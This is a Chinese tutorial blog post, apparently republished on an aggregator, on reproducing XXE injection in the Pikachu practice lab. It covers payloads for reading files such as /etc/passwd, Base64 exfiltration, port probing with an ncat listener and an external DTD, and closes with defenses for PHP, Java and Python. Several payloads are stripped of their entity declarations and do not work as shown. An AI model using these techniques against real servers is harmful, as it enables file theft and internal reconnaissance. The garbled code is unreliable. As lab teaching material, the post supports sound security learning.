码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • XXE漏洞复现实操


    文章目录

    • 一、漏洞原理
    • 二、验证payload
    • 三、没有回显时的验证
    • 四、漏洞特征
    • 五、读取文件
    • 六、Base64加密读取
    • 七、端口检测
    • 八、使用php检测端口
    • 九、dtd外部实体读取文件
    • 十、Xxe漏洞防御

    一、漏洞原理

    (1)XXE漏洞全称XML External Entity Injection,即xmI外部实体注入漏洞, XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害,XML(也是一种语言)被设计用来传输和存储数据
    (2)也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致漏洞
    实验环境:windows pikachu xxe漏洞

    二、验证payload

    
    DOCTYPE note [
        <!ENTITY hacker "test">
    ]>
    <name>&hacker;name>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    三、没有回显时的验证

    
    DOCTYPE ANY [
        
    ]>
    <x>&xxe;x>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    四、漏洞特征

    Accept里有application/xml的格式
    在这里插入图片描述

    五、读取文件

     DOCTYPE ANY [      ]> <x>&f;x>
    
    • 1

    在这里插入图片描述

    六、Base64加密读取

     DOCTYPE ANY [      ]> <x>&f;x>
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    或则读取linux的/etc/passwd

     DOCTYPE ANY [      ]> <x>&f;x>
    
    • 1

    七、端口检测

    ncat -lvp 4000(端口可自定义)
    使用以下语句尝试是否能够建立连接

    DOCTYPE ANY [
        
    ]><x>&xxe;x>r>
    
    • 1
    • 2
    • 3

    如果能够建立连接,那么服务器端的ncat会收到相应的请求信息。
    在这里插入图片描述

    八、使用php检测端口

    
    $xml=<<<EOF
    
    
    ]>
    &xxe;
    EOF;
    $data=simplexml_load_string($xml);
    print_r($data);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    端口关闭的情况如下
    在这里插入图片描述

    开启时
    在这里插入图片描述

    九、dtd外部实体读取文件

    DOCTYPE note 
    [%d;]>
    <c>&eviltest;c>
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    十、Xxe漏洞防御

    1、使用开发语言提供的禁用外部实体的方法
    1.PHP:
    libxml_disable_entity_loader(true);
    2.JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    3.Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 相关阅读:
    【题解】同济线代习题一.8.3
    WebDAV之π-Disk派盘 + 恒星播放器
    大模型实战提示工程 1—常用的大语言模型参数说明
    英伟达GPU架构加速狂飙
    python多进程之间共享内存
    docker和K8S环境xxl-job定时任务不执行问题总结
    第十七章《MySQL数据库及SQL语言简介》第2节:MySQL数据库的下载、安装和配置
    Hadoop完全分布式部署
    Hadoop
    SpringCloud Alibaba微服务实战六- 服务网关
  • 原文地址:https://blog.csdn.net/wutiangui/article/details/133808211
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号